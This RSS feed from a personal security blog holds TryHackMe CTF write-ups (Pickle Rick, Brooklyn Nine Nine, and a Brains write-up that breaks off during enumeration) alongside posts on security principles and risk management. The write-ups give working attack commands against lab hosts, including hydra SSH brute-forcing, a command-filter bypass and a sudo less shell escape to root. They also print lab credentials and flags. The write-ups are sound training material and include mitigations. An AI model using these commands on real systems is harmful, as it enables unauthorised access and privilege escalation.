<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Engineer on Alexander Roca</title><link>https://alexanderroca.dev/tags/engineer/</link><description>Recent content in Engineer on Alexander Roca</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Wed, 03 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://alexanderroca.dev/tags/engineer/index.xml" rel="self" type="application/rss+xml"/><item><title>Pickle Rick Write-up</title><link>https://alexanderroca.dev/tactics/pickle-rick-write-up/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/pickle-rick-write-up/</guid><description>Web server to be exploited. The main objective is to guess the three ingredients to help Rick make his potion and transform himself back into a human from a pickle.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/picklerick">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> Security, Engineer, CTF, Web Exploitation<br>
<strong>Target IP:</strong> <code>10.114.144.190</code></p>
<h1 id="objective">Objective</h1>
<p>Exploit a vulnerable web server to discover three specific ingredients required to help Rick transform back from a pickle into a human.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="initial-access">Initial Access</h2>
<p>The challenge begins by accessing the web service via the target IP: <code>http://10.114.144.190</code>
<img alt="1" loading="lazy" src="/images/tactics/pickle_rick/1.png"></p>
<p>Upon visiting the homepage, inspecting the <strong>Page Source</strong> reveals a critical comment exposing a username.
<img alt="2" loading="lazy" src="/images/tactics/pickle_rick/2.png"></p>
<ul>
<li><strong>Username:</strong> <code>R1ckRul3s</code></li>
</ul>
<p>The source code also hints at a subdirectory (<code>assets/</code>). Navigating to <code>http://10.114.144.190/assets/</code> confirms the server environment.
<img alt="3" loading="lazy" src="/images/tactics/pickle_rick/3.png"></p>
<ul>
<li><strong>Server:</strong> Apache/2.4.41</li>
<li><strong>OS:</strong> Ubuntu</li>
<li><strong>Open Port:</strong> 80</li>
</ul>
<h2 id="directory-bruteforcing">Directory Bruteforcing</h2>
<p>Using <code>gobuster</code> with a standard wordlist to find hidden directories and files:</p>
<p><code>gobuster dir -u http://10.114.144.190 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></p>
<p><strong>Discovered Paths:</strong>
<img alt="4" loading="lazy" src="/images/tactics/pickle_rick/4.png"></p>
<ul>
<li><code>/login.php</code></li>
<li><code>/robots.txt</code></li>
<li><code>/clue.txt</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="credential-discovery">Credential Discovery</h2>
<p>Reviewing the content of <code>/clue.txt</code> provides a hint regarding the ingredients.
<img alt="5" loading="lazy" src="/images/tactics/pickle_rick/7.png"></p>
<p>Based on the context of the content from <code>/robots.txt</code>, the password is likely the famous catchphrase: <code>Wubbalubbadubdub</code>.
<img alt="6" loading="lazy" src="/images/tactics/pickle_rick/6.png"></p>
<p>Attempting to log in at <code>/login.php</code> with the credentials:
<img alt="7" loading="lazy" src="/images/tactics/pickle_rick/5.png"></p>
<ul>
<li><strong>User:</strong> <code>R1ckRul3s</code></li>
<li><strong>Pass:</strong> <code>Wubbalubbadubdub</code></li>
</ul>
<p><strong>Result:</strong> Successful login.
<img alt="8" loading="lazy" src="/images/tactics/pickle_rick/8.png"></p>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Once logged in, the dashboard restricts access to most sections, leaving only the <strong>&ldquo;Commands&rdquo;</strong> tab available. This suggests a restricted shell or command injection vulnerability.
<img alt="9" loading="lazy" src="/images/tactics/pickle_rick/9.png"></p>
<h3 id="step-1-environment-check">Step 1: Environment Check</h3>
<p>Executing basic commands to understand the environment:</p>
<ul>
<li><code>whoami</code> → Returns current user.
<img alt="10" loading="lazy" src="/images/tactics/pickle_rick/10.png"></li>
<li><code>pwd</code> → Returns current working directory.
<img alt="11" loading="lazy" src="/images/tactics/pickle_rick/11.png"></li>
<li><code>ls</code> → Lists files in the current directory.
<img alt="12" loading="lazy" src="/images/tactics/pickle_rick/12.png"></li>
</ul>
<p>A file named <code>Sup3rS3cretPickl3Ingred.txt</code> is visible. Attempting to read it with <code>cat</code> fails because the command is disabled.
<img alt="13" loading="lazy" src="/images/tactics/pickle_rick/13.png"></p>
<h3 id="step-2-reading-files-bypassing-restrictions">Step 2: Reading Files (Bypassing Restrictions)</h3>
<p>Since <code>cat</code> is blocked, we try alternative commands like <code>tac</code> (which prints files in reverse line order, but still reads the content):</p>
<p><code>tac Sup3rS3cretPickl3Ingred.txt</code>
<img alt="14" loading="lazy" src="/images/tactics/pickle_rick/14.png"></p>
<p><strong>Output:</strong> <code>mr meeseek hair</code></p>
<blockquote>
<p><strong>Ingredient #1 Found:</strong> <code>mr meeseek hair</code></p>
</blockquote>
<h3 id="step-3-finding-the-second-ingredient">Step 3: Finding the Second Ingredient</h3>
<p>Next, we attempt to locate the user&rsquo;s home directory to find the next clue:</p>
<p><code>ls ../../../home ls ../../../home/rick</code>
<img alt="16" loading="lazy" src="/images/tactics/pickle_rick/16.png"></p>
<p>A file named <code>second ingredients</code> is found. Note the space in the filename, requiring proper quoting:</p>
<p><code>tac '../../../home/rick/second ingredients'</code>
<img alt="17" loading="lazy" src="/images/tactics/pickle_rick/17.png"></p>
<p><strong>Output:</strong> <code>1 jerry tear</code></p>
<blockquote>
<p><strong>Ingredient #2 Found:</strong> <code>1 jerry tear</code></p>
</blockquote>
<h3 id="step-4-finding-the-final-ingredient">Step 4: Finding the Final Ingredient</h3>
<p>The final flag is typically located in the root directory (<code>/root/</code>). We check if the current user has sudo privileges:</p>
<p><code>sudo ls /root/</code>
<img alt="18" loading="lazy" src="/images/tactics/pickle_rick/18.png"></p>
<p>Surprisingly, the user can execute <code>sudo</code> without a password (a common misconfiguration in easy-level CTFs). We can now read the final file:</p>
<p><code>sudo tac /root/3rd.txt</code>
<img alt="19" loading="lazy" src="/images/tactics/pickle_rick/19.png"></p>
<p><strong>Output:</strong> <code>fleeb juice</code></p>
<blockquote>
<p><strong>Ingredient #3 Found:</strong> <code>fleeb juice</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By enumerating the web server, finding credentials via source code and clues, and exploiting a restricted shell with <code>sudo</code> privileges, we successfully retrieved all three ingredients.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Secure Coding Practices</strong>: remove all hardcoded credentials and internal paths from source code comments before deployment. Use automated scanning tools to detect secrets in code repositories.</li>
<li><strong>Input Validation &amp; Sandboxing</strong>: never pass user input directly to system shell commands. if command execution is required, use a strict whitelist of allowed command and sanitize inputs to prevent injection attacks.</li>
<li><strong>Least Privilege Principle</strong>: the web server process should run with the minimum necessary permissions. Specifically, the user running the web application should <strong>not</strong> have <code>sudo</code> access, especially with <code>NOPASSWD</code> privileges.</li>
<li><strong>Hardened Configuration</strong>: disable unnecessary commands (like <code>tac</code>) in restricted shells and configure the web server to block access to sensitive files types (e.g., <code>.txt</code>, <code>.log</code>) in public directories.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>First Ingredient:</strong> <code>mr meeseek hair</code></li>
<li><strong>Second Ingredient:</strong> <code>1 jerry tear</code></li>
<li><strong>Final Ingredient:</strong> <code>fleeb juice</code></li>
</ol>
]]></content:encoded></item><item><title>Security Engineer Intro</title><link>https://alexanderroca.dev/strategy/1.-security-engineer-intro/</link><pubDate>Wed, 13 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/1.-security-engineer-intro/</guid><description>Security fundamentals required to be successful as a Security Engineer role.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>When I started my journey in cybersecurity with my previous knowledge as an IT Project Manager, my mind was fixed on &ldquo;ethical hacking&rdquo;: finding vulnerabilities, exploiting them, and reporting them. However, while exploring the <strong>Security Engineer role</strong> I discovered that the true strength of a system doesn&rsquo;t just lie in how it defends against attacks, but in how it is built from the ground up.</p>
<hr>
<h2 id="1-security-engineer-intro">1. Security Engineer Intro</h2>
<p>The first thing that struck me was the fundamental distinction between a <em>Pentester</em> and a <em>Security Engineer</em>. While the pentester seeks to break the system, the security engineer must ensure the system is resilient by design.</p>
<h3 id="what-i-learned">What I Learned:</h3>
<ul>
<li><strong>Security by Design:</strong> It&rsquo;s not about adding patches after the software is finished. Security must be a functional requirement from the planning phase.</li>
<li><strong>The Secure Software Development Life Cycle (SDLC):</strong> I understood how security integrates into every stage: from requirements to deployment and maintenance.</li>
<li><strong>Shared Responsibility:</strong> In the cloud, for example, the provider protects the infrastructure, but I am responsible for protecting my data and configurations.</li>
</ul>
<hr>
<h2 id="2-security-principles">2. Security Principles</h2>
<p>This section was a necessary review of basic concepts, but with a much deeper focus on their practical application. They aren&rsquo;t just textbook definitions; they are golden rules guiding every technical decision.</p>
<h3 id="key-concepts">Key Concepts:</h3>
<p><img alt="CIA_Triad" loading="lazy" src="/images/strategy/CIA_Triad.png"></p>
<ul>
<li><strong>The CIA Triad (Confidentiality, Integrity, Availability):</strong> I learned that balancing these three elements is a constant act of equilibrium. Sometimes, increasing security (confidentiality) can reduce usability (availability).</li>
<li><strong>Defense in Depth:</strong> The idea that you should never trust a single layer of security. If the firewall fails, encryption must be there. If encryption fails, access controls must stop the attacker.</li>
<li><strong>Principle of Least Privilege:</strong> Every user and process must have only the permissions necessary for their function. This drastically limits the potential damage of a compromised account.</li>
<li><strong>Fail-Safe Defaults:</strong> If something fails, the system must enter a safe state (locked), not an unsafe one (open).</li>
</ul>
<hr>
<h2 id="3-introduction-to-cryptography">3. Introduction to Cryptography</h2>
<p>Before this module, cryptography seemed like a magical black box to me. Reading about this topic made me to demystify it, showing it as a precise mathematical tool that, if used incorrectly, is useless.</p>
<h3 id="what-helped-me-understand">What Helped Me Understand:</h3>
<ul>
<li><strong>Symmetric vs. Asymmetric:</strong> The critical difference isn&rsquo;t just technical, but practical. We use symmetric (AES) for speed with large volumes of data, and asymmetric (RSA/ECC) for secure key exchange and authentication.</li>
<li><strong>The Importance of Key Management:</strong> The strongest algorithm in the world is useless if the key is stored in a plain text file. I learned about the need for HSMs (Hardware Security Modules) and secret managers.</li>
<li><strong>Hashing and Digital Signatures:</strong> I understood how data integrity and sender authenticity are guaranteed without revealing the original information.</li>
<li><strong>Common Pitfalls:</strong> I realized how dangerous it is to use obsolete algorithms (like MD5 or SHA-1) or to reinvent the wheel with proprietary algorithms.</li>
</ul>
<hr>
<h2 id="4-identity-and-access-management-iam">4. Identity and Access Management (IAM)</h2>
<p>Perhaps the most relevant lesson for the modern world. With the rise of cloud computing and remote work, the perimeter firewall is no longer enough. Identity has become the new perimeter.</p>
<h3 id="iam-strategies-i-now-apply">IAM Strategies I Now Apply:</h3>
<ul>
<li><strong>Multi-Factor Authentication (MFA):</strong> It&rsquo;s not an option; it&rsquo;s a requirement. I learned why SMS is vulnerable and why security keys (FIDO2) are superior.</li>
<li><strong>Zero Trust:</strong> The slogan &ldquo;Never trust, always verify&rdquo; stopped being a catchphrase and became an operational methodology. Every access request must be authenticated and authorized, regardless of its origin.</li>
<li><strong>Lifecycle Management:</strong> The importance of automating the creation and, crucially, the deletion of access rights. &ldquo;Zombie accounts&rdquo; are one of the biggest internal threats.</li>
<li><strong>Identity Federation (SSO):</strong> How to simplify the user experience while maintaining centralized and strict control via protocols like SAML and OIDC.</li>
</ul>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p>I have moved from viewing security as a series of defensive tools to understanding it as an integral engineering discipline.</p>
<p>Now I know that:</p>
<ol>
<li>Security must be designed, not patched.</li>
<li>Fundamental principles (CIA, Defense in Depth) are non-negotiable.</li>
<li>Cryptography is a precise science requiring careful management.</li>
<li>Identity is the new security perimeter.</li>
</ol>
<p>This is just the beginning. In future posts, I will document how I apply these concepts in practical labs, configuring SIEMs, implementing Zero Trust policies, and automating security controls.</p>
<p>If you are starting your journey in security engineering, I highly recommend not underestimating these fundamentals. They are the foundation upon which everything else is built.</p>
]]></content:encoded></item><item><title>Brooklyn Nine Nine Write-up</title><link>https://alexanderroca.dev/tactics/brooklyn-nine-nine-write-up/</link><pubDate>Wed, 20 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/brooklyn-nine-nine-write-up/</guid><description>Web server to be exploited. The main objective is to discover two flags, one from the user and the other from the root user.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/brooklynninenine">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Web Exploitation, Privilege Escalation, Steganography<br>
<strong>Target IP:</strong> <code>10.114.158.7</code></p>
<h1 id="objective">Objective</h1>
<p>Exploit a vulnerable web server to discover two flags, one from the user and the other from the root user.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="initial-access">Initial Access</h2>
<p>The challenge begins by accessing the web service via the target IP: <code>http://10.114.158.7</code>
<img alt="1" loading="lazy" src="/images/tactics/brooklyn99/1.png"></p>
<p>Upon visiting the homepage, inspecting the <strong>Page Source</strong> reveals a critical comment exposing a relevant hint that mentions <em>steganography</em>.
<img alt="2" loading="lazy" src="/images/tactics/brooklyn99/2.png"></p>
<blockquote>
<p><strong>Steganography</strong>: the practice of representing information within another message or physical object, in such a manner that the presence of the concealed information would not be evident to an unsuspecting person&rsquo;s examination.</p>
</blockquote>
<p>There is a potential hidden content in the image from the main page.</p>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the web would be useful to get more context of our scenario and to verify which services are available using <code>nmap http://10.114.158.7</code></p>
<p><strong>Discovered services:</strong>
<img alt="3" loading="lazy" src="/images/tactics/brooklyn99/3.png"></p>
<ul>
<li><code>ftp</code></li>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="credential-discovery">Credential Discovery</h2>
<p>Accessing through <code>ftp</code> service firstly verifying if the <code>anonymous</code> user is available to execute <code>ftp anonymous@10.114.158.7</code> where usually it does not require any password to login.
<img alt="4" loading="lazy" src="/images/tactics/brooklyn99/4.png"></p>
<p>The anonymous user is enabled. Exploring if there is any relevant file by executing <code>ls</code>, there is a relevant instance called <code>note_to_jake.txt</code>
<img alt="5" loading="lazy" src="/images/tactics/brooklyn99/5.png"></p>
<p>Getting the file into the local machine by using <code>get note_to_jake.txt</code>
<img alt="6" loading="lazy" src="/images/tactics/brooklyn99/6.png"></p>
<p>Following the command <code>cat note_to_jake.txt</code> in our local machine to read the content of the file.
<img alt="7" loading="lazy" src="/images/tactics/brooklyn99/7.png"></p>
<p>Looks like a potential user to log in within <code>ssh</code> service is <strong>jake</strong> and his password is weak, therefore a brute-force it might be quick to guess it.
Using <em>Hydra</em>, <code>hydra -V -l jake -P /usr/share/wordlists/rockyou.txt 10.114.158.7 ssh</code>
<img alt="8" loading="lazy" src="/images/tactics/brooklyn99/8.png"></p>
<p>Jake&rsquo;s password has been guessed (<strong>987654321</strong>). Let&rsquo;s proceed by impersonating Jake&rsquo;s <code>ssh</code> session, <code>ssh jake@10.114.158.7</code>
<img alt="9" loading="lazy" src="/images/tactics/brooklyn99/9.png"></p>
<h3 id="alternative-credential-discovery">Alternative Credential Discovery</h3>
<p>Downloading the suspicious image that in the page source mentions <em>steganography</em>.
Extracting detailed metadata from the image using the command <code>exiftool</code>.</p>
<p>There was nothing relevant. After a quick google search an interesting command <code>steghide</code> was found, <code>steghide extract -sf brooklyn99.jpg</code>
<img alt="17" loading="lazy" src="/images/tactics/brooklyn99/17.png"></p>
<p>It contains a passphrase. It could be brute forced, therefore, after another quick google search if there is a way to make a brute force attack into an image that hides information. Command<code>stegcracker</code> was found, <code>stegcracker brooklyn99.jpg /usr/share/wordlists/rockyou.txt</code>
<img alt="18" loading="lazy" src="/images/tactics/brooklyn99/18.png"></p>
<p>Image has been cracked and a new result file has created, <code>cat brooklyn99.jpg.out</code>
<img alt="19" loading="lazy" src="/images/tactics/brooklyn99/19.png"></p>
<p>In this path <strong>Holt</strong>&rsquo;s password (<strong>fluffydog12@ninenine</strong>) has been discovered instead of <strong>Jake</strong>. Logging as Holt, <code>ssh holt@10.114.158.7</code>
<img alt="20" loading="lazy" src="/images/tactics/brooklyn99/20.png"></p>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Once logged in as <code>jake</code>, the common corroboration of the following command brings more context of the session: <code>pwd</code> and <code>whoami</code></p>
<h3 id="step-1-environment-check-jake">Step 1: Environment Check (Jake)</h3>
<p>Executing basic commands to understand the environment:</p>
<ul>
<li><code>whoami</code> → Returns current user.</li>
<li><code>pwd</code> → Returns current working directory.
<img alt="10" loading="lazy" src="/images/tactics/brooklyn99/10.png">
<img alt="15" loading="lazy" src="/images/tactics/brooklyn99/15.png"></li>
</ul>
<h3 id="step-2-finding-the-user-flag">Step 2: Finding the User Flag</h3>
<p>After exploring within Jake&rsquo;s session there is an interesting file.
<img alt="11" loading="lazy" src="/images/tactics/brooklyn99/11.png"></p>
<p>Looks like it is a hash value (<strong>ee11cbb19052e40b07aac0ca060c23ee</strong>), could be <strong>Holt</strong>s hash password, but let&rsquo;s try if it is the user flag.</p>
<blockquote>
<p><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
</blockquote>
<h3 id="alternative-step-1-finding-the-user-flag-holt">Alternative Step 1: Finding the User Flag (Holt)</h3>
<p>Proceed by extracting the user flag, <code>ls</code> and <code>cat user.txt</code>
<img alt="21" loading="lazy" src="/images/tactics/brooklyn99/21.png"></p>
<p>We got the same user flag <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
<blockquote>
<p><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></p>
</blockquote>
<h3 id="step-3-privilege-escalation">Step 3: Privilege Escalation</h3>
<p>After extracting the user flag, the remaining flag is the root user. Verifying the current session privileges using <code>sudo -l</code>
<img alt="12" loading="lazy" src="/images/tactics/brooklyn99/12.png"></p>
<p>After knowing that the command <code>less</code> can be executed with admin privileges it is time to explore exploits by looking into <a href="https://gtfobins.org/">GTFOBins</a> to accomplish the privilege escalation.
<img alt="13" loading="lazy" src="/images/tactics/brooklyn99/13.png"></p>
<p>Replicating the steps by executing first <code>sudo less /etc/hosts</code> followed afterwards <code>!/bin/sh</code> and verify that we are actually the <em>root</em> user.
<img alt="14" loading="lazy" src="/images/tactics/brooklyn99/14.png"></p>
<h3 id="step-4-finding-the-root-flag">Step 4: Finding the Root Flag</h3>
<p>Navigating into the <code>root</code> folder and reading the text file using <code>cat root.txt</code>
<img alt="15" loading="lazy" src="/images/tactics/brooklyn99/15.png"></p>
<blockquote>
<p><strong>Root flag</strong>: <code>63a9f0ea7bb98050796b649e85481845</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By scanning the IP, finding credentials via <code>ftp</code> service and steganography techniques, and exploiting a vulnerable shell with <code>sudo</code> privileges for a specific command to escalate privileges to become the root user, we successfully retrieved both flags.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Secure Coding Practices</strong>: remove all hardcoded credentials and internal paths from source code comments before deployment. Use automated scanning tools to detect secrets in code repositories.</li>
<li><strong>Least Privilege Principles</strong>: the <code>ssh</code> service should run with the minimum necessary permissions. Specifically, the user running in the service should <strong>not</strong> have <code>sudo</code> access, especially with <code>NOPASSWD</code> privileges.</li>
<li><strong>Hardened Password Policy</strong>: enforce the usage of complex password to avoid a feasible brute force attack and restrict the amount of attempts to log in.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>User flag</strong>: <code>ee11cbb19052e40b07aac0ca060c23ee</code></li>
<li><strong>Root flag</strong>: <code>63a9f0ea7bb98050796b649e85481845</code></li>
</ol>
]]></content:encoded></item><item><title>Threats and Risks</title><link>https://alexanderroca.dev/strategy/2.-threats-and-risks/</link><pubDate>Wed, 13 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/2.-threats-and-risks/</guid><description>Involving topics such as risk management and threat modelling, equipping you with the necessary analysis skills.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>Building a system is only half the battle. The other half is understanding what we&rsquo;re defending against and how to manage the inevitable risks that come with any digital infrastructure.</p>
<p>In this second installment, I&rsquo;m diving deep into <strong>Section 2: Threats and Risks</strong>. This module shifted my perspective from pure technical implementation to strategic thinking. It&rsquo;s not enough to configure firewalls and encrypt data; I need to understand governance, model threats, manage risk, and continuously monitor vulnerabilities.</p>
<p>Here are my key takeaways from this transformative section.</p>
<hr>
<h2 id="1-governance-and-regulation">1. Governance and Regulation</h2>
<p>Before this module, I viewed regulations like GDPR, NIS2, or ISO 27001 as bureaucratic hurdles. After reading about this topic it helped me see them differently: <strong>they are blueprints for accountability.</strong>
<img alt="Governance_Regulation" loading="lazy" src="/images/strategy/Governance_Regulation.png"></p>
<ul>
<li><strong>Governance is Strategy:</strong> Security isn&rsquo;t just IT&rsquo;s responsibility—it&rsquo;s a business function. Governance ensures security aligns with organizational goals and legal obligations.</li>
<li><strong>Regulatory Compliance:</strong> Different industries have different requirements. Understanding which regulations apply (GDPR for EU data, PCI-DSS for payments, etc.) is critical for avoiding fines and building trust.</li>
<li><strong>Policy Development:</strong> Security policies aren&rsquo;t just documents; they are enforceable rules that guide behavior across the organization. From acceptable use policies to incident response plans, they set the tone.</li>
<li><strong>Audit and Accountability:</strong> Regular audits aren&rsquo;t about catching people doing wrong—they&rsquo;re about verifying that controls work and identifying gaps before attackers do.</li>
</ul>
<hr>
<h2 id="2-threat-modelling">2. Threat Modelling</h2>
<p>Threat modelling taught me to systematically analyze systems from an attacker&rsquo;s perspective <em>before</em> they are deployed.
<img alt="Threat_Modelling" loading="lazy" src="/images/strategy/Threat_Modelling.png"></p>
<h3 id="key-methodologies">Key Methodologies:</h3>
<ul>
<li><strong>STRIDE:</strong> A framework for categorizing threats: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. Each category helps identify specific attack vectors.</li>
<li><strong>Attack Trees:</strong> Visualizing how an attacker might reach a goal through various paths. This helps prioritize defenses on the most likely or damaging routes.</li>
<li><strong>Data Flow Diagrams (DFDs):</strong> Mapping how data moves through a system reveals where sensitive information is exposed and where controls are needed.</li>
<li><strong>Threat Libraries:</strong> Using databases like CAPEC or MITRE ATT&amp;CK to understand common attack patterns and map them to specific system components.</li>
</ul>
<hr>
<h2 id="3-risk-management">3. Risk Management</h2>
<p>Risk management is where theory meets reality. Not every threat can be eliminated, and not every vulnerability can be patched immediately. Risk management teaches me how to make <strong>calculated decisions</strong> about what to protect, when, and how much.
<img alt="Risk_Assessment" loading="lazy" src="/images/strategy/Risk_Assessment.png"></p>
<ul>
<li><strong>Risk Assessment:</strong> Identifying assets, threats, and vulnerabilities to calculate risk levels. The formula is simple but powerful: <strong>Risk = Likelihood × Impact</strong>.</li>
<li><strong>Risk Treatment Options:</strong>
<ul>
<li><strong>Avoid:</strong> Don&rsquo;t engage in the risky activity.</li>
<li><strong>Mitigate:</strong> Implement controls to reduce likelihood or impact.</li>
<li><strong>Transfer:</strong> Shift risk to a third party (e.g., insurance).</li>
<li><strong>Accept:</strong> Acknowledge the risk and move forward consciously.</li>
</ul>
</li>
<li><strong>Risk Registers:</strong> Maintaining a living document that tracks identified risks, their status, and mitigation efforts. This becomes invaluable during audits and strategic planning.</li>
<li><strong>Business Impact Analysis (BIA):</strong> Understanding which systems are critical to operations and prioritizing their protection accordingly.</li>
</ul>
<hr>
<h2 id="4-vulnerability-management">4. Vulnerability Management</h2>
<p>Vulnerabilities are inevitable. The question isn&rsquo;t <em>if</em> they exist, but <em>how quickly</em> we can find and fix them. This module transformed vulnerability management from a reactive chore into a proactive strategy.</p>
<h3 id="the-vulnerability-management-lifecycle">The Vulnerability Management Lifecycle:</h3>
<p><img alt="Vulnerability_Management" loading="lazy" src="/images/strategy/Vulnerability_Management.png"></p>
<ol>
<li><strong>Discovery:</strong> Using scanners (Nessus, OpenVAS) and manual testing to identify weaknesses.</li>
<li><strong>Prioritization:</strong> Not all vulnerabilities are equal. CVSS scores help, but context matters. A critical flaw on an internet-facing server is more urgent than one on an isolated test machine.</li>
<li><strong>Remediation:</strong> Patching, configuration changes, or compensating controls when patches aren&rsquo;t available.</li>
<li><strong>Verification:</strong> Confirming that fixes were effective and didn&rsquo;t introduce new issues.</li>
<li><strong>Reporting:</strong> Documenting findings for stakeholders and tracking trends over time.</li>
</ol>
<h3 id="key-insights">Key Insights:</h3>
<ul>
<li><strong>False Positives:</strong> Scanners aren&rsquo;t perfect. Manual verification is essential to avoid wasting time on non-issues.</li>
<li><strong>Patch Management:</strong> Timing is critical. Some patches introduce bugs; others are urgent. Balancing speed and stability is an art.</li>
<li><strong>Asset Inventory:</strong> You can&rsquo;t protect what you don&rsquo;t know exists. Maintaining an accurate asset inventory is the foundation of effective vulnerability management.</li>
</ul>
<hr>
<h2 id="connecting-the-dots-how-these-concepts-work-together">Connecting the Dots: How These Concepts Work Together</h2>
<p>One of the most valuable aspects of this section was seeing how these four areas interconnect:</p>
<table>
	<thead>
			<tr>
					<th>Component</th>
					<th>Role in Security Strategy</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><strong>Governance</strong></td>
					<td>Sets the rules and expectations</td>
			</tr>
			<tr>
					<td><strong>Threat Modelling</strong></td>
					<td>Identifies what we&rsquo;re defending against</td>
			</tr>
			<tr>
					<td><strong>Risk Management</strong></td>
					<td>Decides what to prioritize and accept</td>
			</tr>
			<tr>
					<td><strong>Vulnerability Management</strong></td>
					<td>Executes the ongoing defense</td>
			</tr>
	</tbody>
</table>
<p>Without governance, vulnerability management lacks direction. Without threat modelling, risk management is blind. Without risk management, threat modelling becomes an endless exercise. And without vulnerability management, all the planning is theoretical.</p>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p>I see that security is no longer a collection of tools and configurations. Instead, I see it as a <strong>strategic discipline</strong> that requires:</p>
<ol>
<li>Understanding the regulatory landscape</li>
<li>Proactively identifying threats before they materialize</li>
<li>Making informed risk-based decisions</li>
<li>Continuously improving through vulnerability management</li>
</ol>
<p>This section bridged the gap between technical skills and strategic thinking. As I continue through the path, I&rsquo;m excited to apply these concepts in more complex scenarios and real-world simulations.</p>
]]></content:encoded></item><item><title>Brains Write-up</title><link>https://alexanderroca.dev/tactics/brains-write-up/</link><pubDate>Fri, 22 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/brains-write-up/</guid><description>The main objective is to find how an attacker exploited the server and afterwards make a forensic examination of the host to identify the attacker&amp;#39;s footprints at the post-exploitation stage.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/brains">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Remote Code Execution, Forensic, Splunk<br>
<strong>Target IP:</strong> <code>10.113.190.140</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to determine how an attacker exploited the server and subsequently perform a forensic examination of the host to identify the attacker&rsquo;s footprints during the post-exploitation stage.</p>
<h1 id="exploiting-the-server">Exploiting the Server</h1>
<h2 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h2>
<h3 id="scanning-services">Scanning Services</h3>
<p>Making a quick scan of the target would be useful to get more context of our scenario and to verify which services are available using <code>nmap 10.113.190.140</code></p>
<p><strong>Discovered services:</strong>
<img alt="1" loading="lazy" src="/images/tactics/brains/1.png"></p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
<li><code>ibm-db2</code></li>
</ul>
<blockquote>
<p><code>ibm-db2</code> is a family of relational database products from <strong>IBM</strong> for storing, managing, and analyzing structured data.</p>
</blockquote>
<p>Using <code>nmap -p 50000 --script db2-das-info -sV 10.113.190.140</code> confirms the DB2 listener details to identify what host, port, and features are used to authenticate with a DB2 Client.</p>
<p><img alt="2" loading="lazy" src="/images/tactics/brains/4.png"></p>
<p>Looking at the output, we can extract the port <em>50000</em> is speaking <strong>HTTP</strong> and identifies a path to login manually to <code>/login.html</code> page.</p>
<h3 id="initial-access">Initial Access</h3>
<p>Examining the <code>http</code> service using a web browser to gather more information: <code>http://10.113.190.140</code>
<img alt="3" loading="lazy" src="/images/tactics/brains/2.png"></p>
<p>Upon visiting the homepage and inspecting the <strong>Page Source</strong>, anything relevant was found.</p>
<p>Examining the <code>ibm-db2</code> service (which is actually running a web interface) using the web browser: <code>http://10.113.190.140:50000/login.html</code>
<img alt="4" loading="lazy" src="/images/tactics/brains/5.png"></p>
<p>The service is operating an old version <code>2023.11.3 (build 147512)</code></p>
<h3 id="directory-bruteforcing">Directory Bruteforcing</h3>
<h4 id="http-service">HTTP Service</h4>
<p>Using <code>gobuster</code> with a standard wordlist to find hidden directories and files:
<code>gobuster dir -u http://10.113.190.140 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></p>
<p><strong>Discovered Paths:</strong>
<img alt="5" loading="lazy" src="/images/tactics/brains/3.png"></p>
<p>Nothing significant was revealed.</p>
<h4 id="ibm-db2-service">IBM-DB2 Service</h4>
<p>Using <code>gobuster</code> with a standard wordlist to find hidden directories and files on the specific port:
<code>gobuster dir -u http://10.113.190.140:50000 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></p>
